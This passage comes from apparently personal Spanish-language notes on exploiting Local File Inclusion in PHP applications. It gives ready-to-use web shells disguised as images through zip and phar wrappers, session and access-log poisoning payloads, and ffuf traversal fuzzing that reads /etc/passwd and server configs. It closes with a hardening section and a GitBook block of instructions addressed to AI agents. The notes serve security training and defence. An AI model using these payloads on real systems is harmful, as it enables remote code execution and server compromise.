> Se usa `./profile_images/` porque el LFI no antepone directorios a la entrada. Si sí antepusiera uno, se sale con `../` antes de indicar la ruta.

***

### Método 2 — Zip Wrapper (solo PHP)

Alternativa cuando el método 1 no funciona. Usa el wrapper `zip://`, **que no está habilitado por defecto**, así que no siempre funciona.

Crear el shell y comprimirlo con nombre de imagen:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

Incluirlo apuntando al sub-archivo dentro del zip con `#` (URL-encoded como `%23`):

```
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```

| Parámetro                    | Descripción                                                       |
| ---------------------------- | ----------------------------------------------------------------- |
| `zip://`                     | Wrapper que permite acceder a archivos dentro de un zip.          |
| `./profile_images/shell.jpg` | Ruta al archivo zip subido (renombrado como `.jpg`).              |
| `%23shell.php`               | `#shell.php` URL-encoded → sub-archivo dentro del zip a ejecutar. |
| `&cmd=id`                    | Comando a ejecutar.                                               |

> Aunque se nombre `shell.jpg`, algunos formularios detectan el zip por content-type y lo rechazan. Esta técnica funciona mejor si la subida de zips está permitida.

### Método 3 — Phar Wrapper (solo PHP)

Otra alternativa usando el wrapper `phar://`. Primero se escribe un script PHP que compila el phar:

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
```

Compilar y renombrar a imagen:

```bash
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

Incluirlo apuntando al sub-archivo con `/` (URL-encoded como `%2F`):

```
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

<table data-search="false"><thead><tr><th>Parámetro</th><th>Descripción</th></tr></thead><tbody><tr><td><code>Phar('shell.phar')</code></td><td>Crea el archivo phar en construcción.</td></tr><tr><td><code>addFromString('shell.txt', ...)</code></td><td>Añade el web shell dentro del phar como <code>shell.txt</code>.</td></tr><tr><td><code>setStub('&#x3C;?php __HALT_COMPILER(); ?>')</code></td><td>Stub obligatorio del phar.</td></tr><tr><td><code>--define phar.readonly=0</code></td><td>Permite escribir/compilar phars (deshabilitado por defecto).</td></tr><tr><td><code>phar://</code></td><td>Wrapper para acceder a archivos dentro de un phar.</td></tr><tr><td><code>%2Fshell.txt</code></td><td><code>/shell.txt</code> URL-encoded → sub-archivo a ejecutar.</td></tr><tr><td><code>&#x26;cmd=id</code></td><td>Comando a ejecutar.</td></tr></tbody></table>

### Resumen rápido

| Método           | Wrapper               | Habilitado por defecto | Fiabilidad                                             |
| ---------------- | --------------------- | ---------------------- | ------------------------------------------------------ |
| **Image Upload** | — (inclusión directa) | ✅                      | ⭐ La más fiable; funciona en la mayoría de frameworks. |
| **Zip**          | `zip://`              | ❌                      | Alternativa si el método 1 falla.                      |
| **Phar**         | `phar://`             | ✅ (lectura)            | Alternativa si el método 1 falla.                      |

> Nota histórica: existe otro ataque LFI + uploads (obsoleto) vía `phpinfo()` expuesto, pero requiere condiciones muy específicas (LFI + uploads activo + PHP antiguo + `phpinfo()` accesible), por lo que es poco común.

## Log Poisoning

Si incluimos cualquier archivo que contenga código PHP, este se ejecuta (siempre que la función vulnerable tenga privilegios de **ejecución**). Los ataques de esta sección se basan en el mismo concepto:

> **Escribir código PHP en un campo que controlamos y que queda registrado en un archivo de log** (contaminar/"envenenar" el log) → luego **incluir ese log** vía LFI para ejecutar el código.

Requisito clave: la aplicación PHP debe tener **permisos de lectura** sobre los archivos logueados (varía según el servidor).

Funciones que permiten **ejecutar** con inclusión:

| Lenguaje | Función                        | Lee | Ejecuta | URL remota |
| -------- | ------------------------------ | :-: | :-----: | :--------: |
| PHP      | `include()` / `include_once()` |  ✅  |    ✅    |      ✅     |
| PHP      | `require()` / `require_once()` |  ✅  |    ✅    |      ❌     |
| NodeJS   | `res.render()`                 |  ✅  |    ✅    |      ❌     |
| Java     | `import`                       |  ✅  |    ✅    |      ✅     |
| .NET     | `include`                      |  ✅  |    ✅    |      ✅     |

### Método 1 — PHP Session Poisoning

La mayoría de apps PHP usan cookies `PHPSESSID` para guardar datos de sesión en el back-end. Estos se almacenan en archivos de sesión con el prefijo `sess_`:

| SO      | Ruta de sesiones         |
| ------- | ------------------------ |
| Linux   | `/var/lib/php/sessions/` |
| Windows | `C:\Windows\Temp\`       |

El nombre del archivo coincide con la cookie. Ej: `PHPSESSID = el4ukv0kqbvoirg7nkp4dncpk3` → `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3`.

#### 1. Localizar y leer el archivo de sesión

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>
```

Hay que identificar qué valores del archivo **controlamos**. En este ejemplo, `page` es controlable vía el parámetro `?language=` (mientras que `preference` no).

#### 2. Confirmar que controlamos un valor

```
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
```

Al volver a incluir el archivo de sesión, debería mostrar `session_poisoning` → confirma control sobre `page`.

#### 3. Envenenar con el web shell (URL-encoded)

```
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

> Decodificado: `<?php system($_GET["cmd"]);?>`

#### 4. Incluir la sesión y ejecutar

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id
```

| Elemento             | Descripción                                                                   |
| -------------------- | ----------------------------------------------------------------------------- |
| `sess_<PHPSESSID>`   | Archivo de sesión cuyo nombre = valor de la cookie con prefijo `sess_`.       |
| `?language=`         | Parámetro controlado que se escribe en el valor `page` del archivo de sesión. |
| `%3C%3Fphp...%3F%3E` | Web shell PHP URL-encoded que envenena la sesión.                             |
| `&cmd=id`            | Comando a ejecutar.                                                           |

> ⚠️ Para ejecutar **otro** comando hay que **volver a envenenar**, porque la última inclusión sobrescribe el valor `page` con la ruta del archivo. Lo ideal: usar el shell para escribir un web shell permanente en el web root o lanzar una reverse shell.

### Método 2 — Server Log Poisoning (Apache / Nginx)

Apache y Nginx registran `access.log` y `error.log`. El `access.log` guarda cada petición, **incluido el header `User-Agent`**, que nosotros controlamos → se puede envenenar.

#### Permisos de lectura (importante)

| Servidor   | Lectura por usuario bajo (ej. `www-data`)                                                |
| ---------- | ---------------------------------------------------------------------------------------- |
| **Nginx**  | ✅ Legible por defecto.                                                                   |
| **Apache** | ❌ Solo `root` / grupo `adm` (pero servidores viejos/mal configurados pueden permitirlo). |

#### Rutas por defecto

| Servidor | Linux                         | Windows                 |
| -------- | ----------------------------- | ----------------------- |
| Apache   | `/var/log/apache2/access.log` | `C:\xampp\apache\logs\` |
| Nginx    | `/var/log/nginx/access.log`   | `C:\nginx\log\`         |

#### 1. Leer el log

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
```

> 💡 Los logs pueden ser enormes: incluirlos puede tardar o incluso tumbar el servidor. Sé eficiente, especialmente en producción.

#### 2. Envenenar el User-Agent (vía cURL)

```bash
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
```

#### 3. Incluir el log y ejecutar

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id
```

| Elemento                   | Descripción                                                        |
| -------------------------- | ------------------------------------------------------------------ |
| `User-Agent: <?php ... ?>` | Header controlado que inyecta PHP en el log.                       |
| `-H @Poison`               | cURL lee el header desde el archivo `Poison`.                      |
| `\$_GET['cmd']`            | El `$` se escapa en bash para que no lo interprete la shell local. |
| `access.log`               | Log a incluir para ejecutar el PHP inyectado.                      |
| `&cmd=id`                  | Comando a ejecutar.                                                |

> Cualquier petición se loguea, así que puedes envenenar **cualquier** request, no solo la del LFI. El mismo ataque aplica igual a Nginx.

### Otros vectores de Log Poisoning

**`/proc/` (alternativa si no hay acceso a los logs):** El `User-Agent` también aparece en archivos de proceso bajo `/proc/`. Se puede intentar incluir:

* `/proc/self/environ`
* `/proc/self/fd/N` (donde `N` es un PID, normalmente 0–50)

> Estos archivos también suelen requerir permisos privilegiados.

**Logs de servicios** (leer primero vía LFI; si hay acceso, envenenar):

| Log                   | Cómo envenenar                                      |
| --------------------- | --------------------------------------------------- |
| `/var/log/sshd.log`   | Loguear por SSH con el **username** = código PHP.   |
| `/var/log/vsftpd.log` | Loguear por FTP con el username = código PHP.       |
| `/var/log/mail`       | Enviar un email con código PHP en el cuerpo/campos. |

> Generalización: cualquier log que registre un parámetro que controlamos **y** que podamos leer vía LFI es candidato a este ataque.

### Resumen rápido

| Método                | Campo controlado                          | Requiere lectura de                     | Notas                                             |
| --------------------- | ----------------------------------------- | --------------------------------------- | ------------------------------------------------- |
| **Session Poisoning** | Valor de sesión (`page`) vía `?language=` | `/var/lib/php/sessions/sess_*`          | Se sobrescribe: re-envenenar por cada comando.    |
| **Apache/Nginx Log**  | Header `User-Agent`                       | `access.log`                            | Nginx legible por defecto; Apache normalmente no. |
| **`/proc/`**          | `User-Agent`                              | `/proc/self/environ`, `/proc/self/fd/N` | Alternativa si no hay acceso a logs.              |
| **Service logs**      | Username / email                          | `sshd.log`, `vsftpd.log`, `mail`        | Según servicios expuestos.                        |

## LFI — Automated Scanning

Entender la explotación **manual** de LFI es esencial: muchos casos requieren payloads a medida según la configuración específica, y frente a un **WAF/firewall** hay que analizar qué carácter/payload se bloquea para construir un bypass.

Aun así, en casos triviales el escaneo **automatizado** ahorra tiempo. Se usa **fuzzing** para probar listas grandes de payloads LFI comunes, o herramientas especializadas. Este proceso ayuda a:

* Descubrir **parámetros expuestos** no vinculados a formularios.
* Probar rápidamente muchos payloads LFI de una vez.
* Localizar **archivos del servidor** útiles (webroot, configs, logs).

### 1. Fuzzing de parámetros

Los formularios HTML suelen estar bien protegidos, pero muchas páginas exponen **parámetros no vinculados a ningún formulario**, que tienden a ser menos seguros. Conviene fuzzearlos:

```bash
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
  -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

| Parámetro             | Descripción                                                                        |
| --------------------- | ---------------------------------------------------------------------------------- |
| `-w <wordlist>:FUZZ`  | Wordlist de nombres de parámetros; `FUZZ` marca dónde se inyecta.                  |
| `-u '...?FUZZ=value'` | URL objetivo con el keyword `FUZZ` en el nombre del parámetro.                     |
| `-fs 2287`            | **Filter size**: oculta respuestas de ese tamaño (la respuesta "normal"/baseline). |

> Al encontrar un parámetro expuesto, se le aplican todas las pruebas de LFI. Esto no es exclusivo de LFI: cualquier parámetro oculto puede ser vulnerable a otras cosas.

### 2. Fuzzing con wordlists LFI

Para probar de golpe muchos payloads LFI comunes (incluye bypasses y archivos típicos). Buena wordlist: **`LFI-Jhaddix.txt`**.

```bash
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

Ejemplo de payloads que puede devolver:

```
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
../../../../../../../../../../../../etc/hosts
../../../../etc/passwd
../../../../../../etc/passwd&=%3C%3C%3C%3C
/%2e%2e/%2e%2e/%2e%2e/.../etc/passwd
```

| Parámetro         | Descripción                                                    |
| ----------------- | -------------------------------------------------------------- |
| `LFI-Jhaddix.txt` | Wordlist con múltiples técnicas de bypass + archivos comunes.  |
| `?language=FUZZ`  | Se inyecta el payload directamente en el parámetro vulnerable. |
| `-fs 2287`        | Filtra el tamaño baseline para quedarse solo con hits.         |

> ⚠️ Verifica **manualmente** los payloads que devuelva el scan, para confirmar que realmente muestran el contenido del archivo incluido.

### 3. Fuzzing de archivos del servidor

#### 3.1 — Server Webroot

Útil para localizar archivos subidos por **ruta absoluta** cuando las rutas relativas (`../../uploads`) no llegan. Se fuzzea `index.php` a través de rutas de webroot comunes:

```bash
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ \
  -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

| Parámetro                              | Descripción                                                    |
| -------------------------------------- | -------------------------------------------------------------- |
| `default-web-root-directory-linux.txt` | Wordlist de rutas de webroot comunes (existe versión Windows). |
| `../../../../FUZZ/index.php`           | Se sale N directorios y se prueba cada webroot + `index.php`.  |

> Resultado típico: `/var/www/html/`. Si no aparece, la mejor opción es leer las **configuraciones del servidor**.

#### 3.2 — Server Logs / Configuraciones

Necesario para ubicar el directorio de logs (para log poisoning) y el webroot. Se puede usar `LFI-Jhaddix.txt` o wordlists LFI específicas de Linux/Windows (no vienen en seclists, hay que descargarlas):

```bash
ffuf -w ./LFI-WordList-Linux:FUZZ \
  -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```

Devuelve rutas como `/etc/hosts`, `/etc/hostname`, `/etc/apache2/apache2.conf`, `/etc/apache2/envvars`, etc.

**Encadenar información — leer la config de Apache:**

```bash
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
# DocumentRoot /var/www/html
# ErrorLog  ${APACHE_LOG_DIR}/error.log
# CustomLog ${APACHE_LOG_DIR}/access.log combined
```

La config usa la variable `APACHE_LOG_DIR`. Para resolverla se lee `envvars`:

```bash
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars
# export APACHE_RUN_USER=www-data
# export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
```

> Así se confirma que los logs están en `/var/log/apache2` → `access.log` / `error.log`. Aunque una wordlist ya suele revelar los logs, este encadenado (leer un archivo → descubrir otro) es la misma lógica que en la sección de `php://filter` y suele destapar información nueva del servidor.

| Archivo                     | Qué revela                                                  |
| --------------------------- | ----------------------------------------------------------- |
| `/etc/apache2/apache2.conf` | `DocumentRoot` (webroot) + rutas de logs (vía variable).    |
| `/etc/apache2/envvars`      | Valor real de `APACHE_LOG_DIR`, usuario/grupo de ejecución. |
| `/etc/passwd`, `/etc/hosts` | Enumeración de usuarios y hosts.                            |

### 4. Herramientas LFI

Automatizan gran parte del proceso, pero **pueden perder** vulnerabilidades y archivos que el testing manual sí encuentra. Las más comunes:

| Herramienta  | Nota                                             |
| ------------ | ------------------------------------------------ |
| **LFISuite** | Suite de explotación LFI.                        |
| **LFiFreak** | Detección + explotación.                         |
| **liffy**    | Explotación LFI (wrappers, log poisoning, etc.). |

> ⚠️ La mayoría **no reciben mantenimiento** y dependen del obsoleto **Python 2**, por lo que no son una solución a largo plazo. El testing manual sigue siendo más fiable.

### Resumen rápido

| Objetivo           | Comando base                           | Wordlist típica                        |
| ------------------ | -------------------------------------- | -------------------------------------- |
| Parámetros ocultos | `?FUZZ=value`                          | `burp-parameter-names.txt`             |
| Payloads LFI       | `?language=FUZZ`                       | `LFI-Jhaddix.txt`                      |
| Webroot            | `?language=../../../../FUZZ/index.php` | `default-web-root-directory-linux.txt` |
| Logs / configs     | `?language=../../../../FUZZ`           | `LFI-WordList-Linux`                   |

> Truco clave con ffuf: `-fs <baseline_size>` filtra la respuesta "normal" para dejar solo los hits reales. Ajusta ese valor al tamaño de una respuesta no vulnerable.

## File Inclusion — Prevención y Hardening

Tras aprender a **detectar y explotar** file inclusion (bypasses, RCE, wrappers, log poisoning), toca el lado defensivo: cómo **parchear** estas vulnerabilidades y **endurecer** el sistema para reducir su probabilidad y su impacto.

La regla de oro:

> **Nunca pasar entrada controlada por el usuario a funciones de inclusión de archivos.** La página debería cargar sus assets dinámicamente en el back-end, sin interacción del usuario.

### 1. Prevención en el código (whitelist)

Cuando eliminar la entrada del usuario no es viable (implicaría rediseñar la app), se usa una **whitelist** que empareja cada input permitido con su archivo, con un **valor por defecto** para todo lo demás.

Formas de implementar la whitelist:

| Enfoque            | Descripción                                      |
| ------------------ | ------------------------------------------------ |
| Tabla en BD        | Mapea IDs → archivos.                            |
| Script case-match  | Empareja nombres → archivos con `switch`/`case`. |
| Mapa JSON estático | Diccionario nombre → archivo.                    |

> Resultado: la entrada del usuario **no** entra a la función; entra el **archivo emparejado**. Esto elimina el vector de file inclusion.

> Recordar: la lista de funciones peligrosas del módulo no es exhaustiva. Considerar **cualquier** función que lea archivos.

### 2. Prevenir Directory Traversal

Si el atacante controla el directorio, puede escapar de la app y atacar terreno conocido. El traversal potencialmente permite:

* Leer `/etc/passwd` → SSH keys o usuarios válidos para password spray.
* Encontrar otros servicios (ej. Tomcat → `tomcat-users.xml`).
* Descubrir cookies de sesión PHP → session hijacking.
* Leer config y código fuente de la app.

#### Opción A — Función nativa del framework

Usar la herramienta del lenguaje que extrae **solo el nombre de archivo**. En PHP, `basename()`:

```php
// basename() devuelve solo la porción del nombre de archivo
$file = basename($_GET['language']);
```

> Contra: si la app **necesita** entrar en subdirectorios, este método lo impide.

#### Opción B — Cuidado con funciones caseras (edge cases)

Escribir tu propia función arriesga no cubrir casos raros. Ejemplo del edge case con wildcards:

```bash
# En bash: ? y * actúan como comodines → funciona
cat .?/.*/.?/etc/passwd
```

```php
// En PHP puro NO se comporta igual con ? y *
// pero si PHP ejecuta bash vía system(), el atacante puede bypassear
echo file_get_contents('.?/.*/.?/etc/passwd');
```

> Lección: usar **funciones nativas del framework** aumenta la probabilidad de que otros ya hayan detectado y corregido estos edge cases.

#### Opción C — Sanitización recursiva

Eliminar recursivamente los intentos de traversal:

```php
while(substr_count($input, '../', 0)) {
    $input = str_replace('../', '', $input);
};
```

| Elemento                      | Descripción                                                                       |
| ----------------------------- | --------------------------------------------------------------------------------- |
| `substr_count($input, '../')` | Cuenta ocurrencias de `../` para seguir iterando.                                 |
| `str_replace('../', '', ...)` | Elimina cada `../` encontrado.                                                    |
| `while(...)`                  | **Recursivo**: aunque tras reemplazar quede un nuevo `../`, se vuelve a eliminar. |

> Lo recursivo es clave: previene el bypass `....//` (que un `str_replace` de una sola pasada dejaría como `../`).

### 3. Configuración del servidor web

Reduce el impacto aunque exista la vulnerabilidad.

| Configuración (PHP) | Valor        | Efecto                                        |
| ------------------- | ------------ | --------------------------------------------- |
| `allow_url_fopen`   | `Off`        | Desactiva apertura de URLs remotas.           |
| `allow_url_include` | `Off`        | Desactiva RFI globalmente.                    |
| `open_basedir`      | `/var/www`   | Bloquea acceso a archivos fuera del web root. |
| Módulos peligrosos  | Deshabilitar | Ej. PHP `Expect`, `mod_userdir`.              |

> **Docker**: la forma moderna más común de confinar la app a su web root. Si no es opción, `open_basedir` cumple una función similar en PHP.

Con esto, incluso un LFI identificado tendría impacto reducido (no accede a archivos fuera de la carpeta de la app).

### 4. Web Application Firewall (WAF)

Endurecimiento universal (ej. **ModSecurity**). Puntos clave:

* **Evitar falsos positivos**: lo más importante es no bloquear peticiones legítimas.
* **Modo permisivo (permissive)**: solo **reporta** lo que habría bloqueado → permite afinar reglas sin romper tráfico legítimo.
* Incluso sin pasar a "blocking mode", el modo permisivo sirve de **alerta temprana** de que la app está siendo atacada.

### Filosofía del hardening

> El objetivo del hardening **no es** hacer el sistema "inhackeable", sino darle una **coraza más fuerte** para que los defensores ganen tiempo cuando ocurra el ataque.

* Según el **FireEye M-Trends Report 2020**, el tiempo medio para detectar a un atacante era de **30 días**. Un buen hardening genera más señales/logs únicos → detección más rápida.
* No descuidar los **logs** por tener un sistema "endurecido".
* Testear continuamente, sobre todo tras un **zero-day** de una tecnología relacionada (Apache Struts, Rails, Django, etc.). Muchas veces el zero-day funcionará igual, pero el hardening puede generar logs únicos que confirmen si el exploit se usó contra el sistema.

### Resumen rápido

| Capa          | Medida                                          | Objetivo                                          |
| ------------- | ----------------------------------------------- | ------------------------------------------------- |
| **Código**    | Whitelist input→archivo + default               | Evitar que el input entre a la función.           |
| **Traversal** | `basename()` / sanitización recursiva           | Impedir escapar del directorio.                   |
| **Servidor**  | `allow_url_include=Off`, `open_basedir`, Docker | Reducir impacto (sin RFI, confinado al web root). |
| **WAF**       | ModSecurity (permissive → blocking)             | Detección temprana + coraza externa.              |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/lfi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
